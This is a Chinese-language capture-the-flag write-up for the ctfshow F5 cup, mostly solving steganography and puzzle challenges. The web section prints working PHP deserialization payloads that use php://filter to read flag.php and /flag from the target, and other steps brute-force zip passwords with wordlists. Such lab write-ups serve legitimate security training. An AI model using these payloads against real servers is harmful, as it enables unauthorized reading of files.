ctfshow F5杯 部分WP(writeup) 超详细

本文共4370字,147段落,全文看完预计用时10分钟
这次F5杯的misc难度感觉比大吉杯难了许多,出题人的脑洞太大了
在这里感谢各位大师傅群里的随缘hint(水群大胜利)
写的非常详细,可以跟着实际操作,所以最后不会贴上静态flag
ctfshow F5杯 部分WP(writeup) 超详细_第1张图片ctfshow F5杯 部分WP(writeup) 超详细_第2张图片ctfshow F5杯 部分WP(writeup) 超详细_第3张图片

web
      eazy-unserialize &eazy-unserialize-revenge
misc
      大小二维码
      填字游戏
      牛年大吉3.0
      两行代码一纸情书
      F5也会LSB
      F5还会学中文
      GoodNight

WEB:

eazy-unserialize &eazy-unserialize-revenge

一个payload打通两道,所以就放在一起

前半部分估计是某个登录页面的执行代码,为干扰项,重点在后半部分

ctfshow F5杯 部分WP(writeup) 超详细_第4张图片
存在文件包含漏洞,使用php为协议读取flag.php:

payload:?w_a_n=O:5:“Happy”:1:{s:4:“file”;s:57:“php://filter/read=convert.base64-encode/resource=flag.php”;}

读取到PD9waHANCiFkZWZpbmVkKCdIYXBweScpICYmIGV4aXQoJ0FjY2VzcyBEZW5pZWQnKTsNCmVjaG8gZmlsZV9nZXRfY29udGVudHMoIi9mbGFnIik7DQoNCj8+
进行base64
ctfshow F5杯 部分WP(writeup) 超详细_第5张图片
flag在/flag下,修改一下payload

?w_a_n=O:5:“Happy”:1:{s:4:“file”;s:5:"/flag";}
好像这个payload被修了,那就和之前读flag.php一样用php协议读取
payload:?w_a_n=O:5:“Happy”:1:{s:4:“file”;s:54:“php://filter/read=convert.base64-encode/resource=/flag”;}

得到flag
ctfshow F5杯 部分WP(writeup) 超详细_第6张图片MISC

大小二维码

八神师傅的创意题,脑洞也还是大
首先得到一张超大的二维码,用手机QQ扫码只能显示部分,但是开头是7z。猜测是将7z压缩包数据写进了二维码,
使用barcode扫码将十六进制数据复制下来
https://online-barcode-reader.inliteresearch.com/
ctfshow F5杯 部分WP(writeup) 超详细_第7张图片将全部复制下来,只保留十六进制信息,然后使用winhex写入,保存为7z文件。
ctfshow F5杯 部分WP(writeup) 超详细_第8张图片解压得到35个小二维码
ctfshow F5杯 部分WP(writeup) 超详细_第9张图片使用PS把小二维码放大,得到
ctfshow F5杯 部分WP(writeup) 超详细_第10张图片首先扫几张码,发现只有一张二维码内容是“nothing here~”,其他都为乱码
再次观察可以发现,所有的数据区和效验区都是一样的,唯一不相同的就是每个定位点旁边的掩码类型。
首先使用QRazyBo扫第一张二维码,查看他的Mask Pattern
https://merricx.github.io/qrazybox/
可以发现纠错等级都是L,但是显示掩码类型都为3,所以在这里生成一张不含任何信息的二维码,再去点击蓝色区域
ctfshow F5杯 部分WP(writeup) 超详细_第11张图片
将纠错等级调为1,寻找掩码等级与刚刚那张图一样的
ctfshow F5杯 部分WP(writeup) 超详细_第12张图片
发现1与刚刚左上角的一样
再对比右上,发现4和之前的一样
ctfshow F5杯 部分WP(writeup) 超详细_第13张图片
所以这里手动将35张图全部手动对比下来,得到一串0-7的数字,猜想是8进制,并且3位为一组并转为ascii,写个python脚本进行进制转换

import re
flag = ''
n = 0
p = input('input a octal number:\n')
arr = re.findall(r'.{3}', p)
try:
    for i in arr:
        print(chr(int(i,8)))
        flag += chr(int(i,8))
except:
    print("字符串中包含不能每3位进行转换的数字")
print(flag)

得到flag
ctfshow F5杯 部分WP(writeup) 超详细_第14张图片

填字游戏

U1S1,这次填字游戏非常良心,特别容易。 首先用QQ的识别功能将英文全部提取下来

1.a(n) = n*(n^2+1)/2
2.Number of balls in pyramid with base either aregular hexagon or a hexagon with alternate sides differing by 1
3.Initial members of prime sextuplets (p, p+4, p+6,p+10, p+12,p+16)
4.Primes p such that neither p-2 nor p+2 is prime
5.Smith (or joke) numbers
6.the number of distinct reduced words of length n in the Coxeter group of “Apollonian reflections” in three dimensions
7.Hyperfactorials
8.Number of factorization patterns of polynomials of degree n over integers
9.Initial members of prime triples(p,p+4,p+6)

这里随便拿两个来举例
首先拿第二个
因为是纯英文,就不用想百度了,直接上google。
ctfshow F5杯 部分WP(writeup) 超详细_第15张图片ctfshow F5杯 部分WP(writeup) 超详细_第16张图片根据2那一列,可以发现需要第7位填入,第7位即69(后面的以此类推)
ctfshow F5杯 部分WP(writeup) 超详细_第17张图片

在此平台继续搜,特别注意,第一个也要在这个平台搜,不要自己代值进去,因为代值进去应该都不会想到先代数字0…

ctfshow F5杯 部分WP(writeup) 超详细_第18张图片
得到65
将所有的整理下来,全部用ascii进行转换,得到并包上ctfshow{}提交

牛年大吉3.0

是i_kei神的题,果然3.0难度倍增,套娃纯度也增加了
首先看hint

hint1:有耳就行
hint2:有眼就行

下载附件得到一张ppt
能听到动听的《春节序曲》,结合有耳就行,应该需要提取下来
看完ppt,能够发现最后藏有信息,将字体颜色改为红色
ctfshow F5杯 部分WP(writeup) 超详细_第19张图片得到Y3Rmc2hvd25i,解码得到ctfshownb,但是解码没用,这里被misc神给坑了一波。
kali下用binwalk进行分解,把mp3拿到mp3stego去解密,密码为Y3Rmc2hvd25i,得到8208208820
在这里插入图片描述
然后刚刚binwalk还分离出了熟悉的图片,这里看两张图片,能明显发现大小不一样但是差异很小,并且这里给了秘钥,0通道没有LSB痕迹就排除了,麻了很久,这里使用的是OurSecret
ctfshow F5杯 部分WP(writeup) 超详细_第20张图片
两张都提取出来,发现大小也不相同,Demo.png略微比Demo7.png大,所以考虑盲水印。
我目前只下载了两种
chishaxie/BlindWaterMark 是错的
linyacool /blind-watermark python3是错的
这里需要使用 linyacool /blind-watermark python2
得到
ctfshow F5杯 部分WP(writeup) 超详细_第21张图片想要提交发现长度好像太长了,进行base58解码,得到flag
ctfshow F5杯 部分WP(writeup) 超详细_第22张图片

两行代码一纸情书

Y4的超良心

下载dll附件,使用notepad++打开,直接搜ctf,发现一长串类似编码,复制下来进行base64解码,发现无乱码,一直向下解,得到flag
ctfshow F5杯 部分WP(writeup) 超详细_第23张图片

F5也会LSB

这道题也很良心

压缩包显示6long,爆破得到密码114514(恶臭),解压得到
ctfshow F5杯 部分WP(writeup) 超详细_第24张图片结合LSB,以2.png为例,发现LSB有2字节长的数字信息,再查看图片1(即10.png),发现为504B030414,为ZIP文件头,所有信息提取出来

504B03041400010000007C4C4D524A0409E41D0000001100000008000000666C61672E747874268FDB736D3D74D7654C946555EF139A56337B2E90EE9D79DE3A0632B2504B01023F001400010000007C4C4D524A0409E41D00000011000000080024000000000000002000000000000000666C61672E7478740A0020000000000001001800CBE6AA92A801D701F7A65B93A801D701A0FCEAE4A501D701504B050600000000010001005A000000430000000000

得到zip包,发现有密码,再进行爆破,密码为7775,解压打开txt
ctfshow F5杯 部分WP(writeup) 超详细_第25张图片
BGR bit Planes 21
再去查看10.png的BGR 2 1通道
ctfshow F5杯 部分WP(writeup) 超详细_第26张图片
全部提取组合得到flag

F5还会学中文

也是一道凉心题

下载附件解压,得到 F5.jpg 和 flag.zip,flag.zip 需要密码,将 F5.jpg 放入 010 查看JPG结束后的"文件头"和文件尾
ctfshow F5杯 部分WP(writeup) 超详细_第27张图片ctfshow F5杯 部分WP(writeup) 超详细_第28张图片
发现有PK字迹,所以需要修复zip包即00 00 00 00->50 4B 03 04,并且将09改为00
在这里插入图片描述ctfshow F5杯 部分WP(writeup) 超详细_第29张图片很明显的Ook!
ctfshow—>Ook F—>. 5—>! 杯—>?
得到F5’s password is f5alsogood
解压flag.zip发现错误,结合F5 pswd和jpg,可以猜测F5隐写。
ctfshow F5杯 部分WP(writeup) 超详细_第30张图片F5隐写发现报错,原因是图片末尾有zip痕迹,将zip痕迹删掉只保留jpg,再提取,得到Every0neL0veBeF5
在这里插入图片描述
解压得到最难的部分,因为尝试GB2312编码,BIG5编码,GBK编码,GB18030编码,Unicode编码都是无解的
ctfshow F5杯 部分WP(writeup) 超详细_第31张图片
根据群里的随缘hint,和题目hint1:最后一步是转ascii
在这里插入图片描述
GB2312-80,前两位为x码,后两位为x码
直接搜“汉字GB2312-80”
ctfshow F5杯 部分WP(writeup) 超详细_第32张图片百度搜一个区位码批量查询
http://www.jscj.net/index/gb2312.php
在这里插入图片描述将空格去掉(注意最后一个数字后面的空格也要去掉)
得到的数字转16进制,再转字符,得到flag
ctfshow F5杯 部分WP(writeup) 超详细_第33张图片

GoodNight

Hint1:题目的附件名字很重要
Hint2:flag的内容要转为md5

又是套娃呜呜呜难死了
首先GoodNight很重要,估计是某种加密的密码,最后发现还是OurSecret
ctfshow F5杯 部分WP(writeup) 超详细_第34张图片
提取出来Secert1.rt1,查看文件头,发现BP,考点是BPG,可以查到bpg文件头是425047FB, B190是文件尾,4250后面添加上的47FB,然后搜索B190,这里在第2个B190处截断,因为后面有6050B405,是反过来的504B0304
在这里插入图片描述
然后改文件后缀,用Simple BPG image viewer打开,得到
ctfshow F5杯 部分WP(writeup) 超详细_第35张图片
解码得到fake flag…
在这里插入图片描述
再查看文件尾,将刚刚发现的zip提取出来
在这里插入图片描述
504B0304,所以需要将十六进制数进行逆转
http://tool.huixiang360.com/str/reverse.php
转完后再放入winhex
ctfshow F5杯 部分WP(writeup) 超详细_第36张图片对比正常的zip:
在这里插入图片描述可以发现就少了前面的504B03041400,补上并保存
在这里插入图片描述
需要密码(可恶),这里我用的rockyou进行爆破
ctfshow F5杯 部分WP(writeup) 超详细_第37张图片得到密码qwerty,解压得到
在这里插入图片描述winhex查看
ctfshow F5杯 部分WP(writeup) 超详细_第38张图片需要将右边的数字导入winhex
然后放进kali能够识别出是个流量包,所以补上后缀pcapng
打开后发现是一段英语对话文本
在这里插入图片描述
首先想是把长度提取出来转ascii,但是发现有不可打印字符长度,就放弃了这个思路。这道题的考点是TCP隐写
ctfshow F5杯 部分WP(writeup) 超详细_第39张图片将所有的字符给提取出来,注意有重复字符,因舍弃。
ctfshow F5杯 部分WP(writeup) 超详细_第40张图片

然后进行base转码,只可能是base64以上的,最后发现base91成功转码
https://ctf.bugku.com/tool/base91

ctfshow F5杯 部分WP(writeup) 超详细_第41张图片
题目说flag的内容需要md5一下,将里面md5后提交即可

本文完

你可能感兴趣的:(ctf,ctfshow,信息安全)